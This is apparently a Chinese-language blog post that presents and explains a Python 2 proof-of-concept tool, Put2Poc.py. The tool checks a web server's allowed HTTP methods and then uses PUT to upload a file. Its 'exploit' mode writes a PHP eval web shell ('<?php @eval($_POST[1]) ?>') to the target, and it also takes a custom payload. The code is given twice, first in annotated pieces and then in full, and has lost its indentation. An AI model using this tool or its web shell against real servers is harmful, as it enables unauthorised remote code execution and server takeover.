PUT上传POC--Put2Poc.py

环境

Python 2.7
requests
sys
Windows 7
Apache 已完成put配置。
PHP

简单介绍一下源码，增加易读性。

POC入口函数，设置默认变量，接受和判断用户输入参数是否合法，调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN)，接受返回所支持的方法，调用PUT方法上传文件。

def main():
if len(sys.argv) < 2 :
print u'''
Version:1.0
请输入将要验证的URL(eg:Put2Poc.py http://test.com) Put2Poc.py arg1 arg2
arg1：目标URL
arg2: 选择(1)验证OR(2)利用(默认为验证)
arg3: 选择上传文件的目录,默认为/(eg:/test/)
arg4: 设置长传的文件的文件名，默认为test.html
arg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)
注：当前版本仅支持PHP语言的利用'''
sys.exit()
if len(sys.argv) >= 2 :
url = sys.argv[1]
YN = 1
path = '/'
filename = 'test.html'
content = None
# print url
if 'http' not in url :
print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)' sys.exit()
if len(sys.argv) >= 3 :
# print type(sys.argv[2])
if sys.argv[2] in '2' :
filename = 'test.php'
if sys.argv[2] not in ['1','2'] :
print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
sys.exit()
YN = sys.argv[2]
if len(sys.argv) >= 4 :
path = sys.argv[3]
if len(sys.argv) >= 5 :
filename = sys.argv[4]
if len(sys.argv) >= 6 :
content = sys.argv[5]
if len(sys.argv) > 6 :
print u'请检查参数设置'
sys.exit()
r_options = Test2Option(url,YN)
if content is not None :
Put2File(url,YN,r_options,path,filename,content)
else:
Put2File(url,YN,r_options,path,filename)
# print r_options

Error2status(code) 判断请求的返回状态。

参数 code : 请求返回的状态码

def Error2status(code):
if 400 <= code < 500:
return 4
if 500 <= code < 600 :
return 5
if 200 <= code < 400 :
return True

Test2Option(url,YN)探测目标URL是否支持OPTIONS方法

参数 url : 请求的URL
参数 YN : 选择验证漏洞或者利用漏洞，默认为验证。

def Test2Option(url,YN):
try:
r = requests.options(url,verify=False,timeout=10)
except :
print u'Error,请检查链接是否可以访问'
sys.exit()
r_options = r.headers
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'该链接不支持OPTIONS方法'
sys.exit()
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'请检查链接是否可以访问'
sys.exit()
if r_status_code is True :
print u'该链接存在不安全的HTTP方法'
print r_options['Allow']
return r_options['Allow']

Put2File(url,YN,r_options,path,filename,content=None)

参数 url : 测试的URL
参数 YN : 选择验证漏洞或者利用漏洞，默认为验证。
参数 r_options : 网站所支持的HTTP请求方法。
参数 path : 文件上传位置
参数 filename : 文件名
参数 content : 自定义文件内容。

def Put2File(url,YN,r_options,path,filename,content=None):
url = url.rstrip('/') + path + filename
print url
headers = {
'Accept': '*/*',
'Accept-Language': 'en-US',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'
}
data = '<script>alert(1)</script>'
if YN is '2':
data = '<?php @eval($_POST[1]) ?>'
if content is not None :
data = content
r = requests.put(url,headers=headers,data=data)
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'服务器禁止上传文件'
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'服务器禁止上传文件'
if r_status_code is True :
print u'Server status code: %s' %(r.status_code)
print u'服务器支持PUT文件上传'
print u'文件名: %s' %(filename)
print u'文件内容: %s' %(data)
print u'文件长传位置为: %s' %(path)
print u'文件链接: %s' %(url)
print r.content

POC

#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#

import requests
import sys

def Error2status(code):
if 400 <= code < 500:
return 4
if 500 <= code < 600 :
return 5
if 200 <= code < 400 :
return True

def Test2Option(url,YN):
try:
r = requests.options(url,verify=False,timeout=10)
except :
print u'Error,请检查链接是否可以访问'
sys.exit()
r_options = r.headers
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'该链接不支持OPTIONS方法'
sys.exit()
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'请检查链接是否可以访问'
sys.exit()
if r_status_code is True :
print u'该链接存在不安全的HTTP方法'
print r_options['Allow']
return r_options['Allow']

def Put2File(url,YN,r_options,path,filename,content=None):
url = url.rstrip('/') + path + filename
print url
headers = {
'Accept': '*/*',
'Accept-Language': 'en-US',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'
}
data = '<script>alert(1)</script>'
if YN is '2':
data = '<?php @eval($_POST[1]) ?>'
if content is not None :
data = content
r = requests.put(url,headers=headers,data=data)
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'服务器禁止上传文件'
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'服务器禁止上传文件'
if r_status_code is True :
print u'Server status code: %s' %(r.status_code)
print u'服务器支持PUT文件上传'
print u'文件名: %s' %(filename)
print u'文件内容: %s' %(data)
print u'文件长传位置为: %s' %(path)
print u'文件链接: %s' %(url)
print r.content

def main():
if len(sys.argv) < 2 :
print u'''
Version:1.0
请输入将要验证的URL(eg:Put2Poc.py http://test.com) Put2Poc.py arg1 arg2
arg1：目标URL
arg2: 选择(1)验证OR(2)利用(默认为验证)
arg3: 选择上传文件的目录,默认为/(eg:/test/)
arg4: 设置长传的文件的文件名，默认为test.html
arg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)
注：当前版本仅支持PHP语言的利用'''
sys.exit()
if len(sys.argv) >= 2 :
url = sys.argv[1]
YN = 1
path = '/'
filename = 'test.html'
content = None
# print url
if 'http' not in url :
print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)' sys.exit()
if len(sys.argv) >= 3 :
# print type(sys.argv[2])
if sys.argv[2] in '2' :
filename = 'test.php'
if sys.argv[2] not in ['1','2'] :
print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
sys.exit()
YN = sys.argv[2]
if len(sys.argv) >= 4 :
path = sys.argv[3]
if len(sys.argv) >= 5 :
filename = sys.argv[4]
if len(sys.argv) >= 6 :
content = sys.argv[5]
if len(sys.argv) > 6 :
print u'请检查参数设置'
sys.exit()
r_options = Test2Option(url,YN)
if content is not None :
Put2File(url,YN,r_options,path,filename,content)
else:
Put2File(url,YN,r_options,path,filename)
# print r_options

if __name__ == '__main__':
main()

注：欢迎指正和提出修改意见。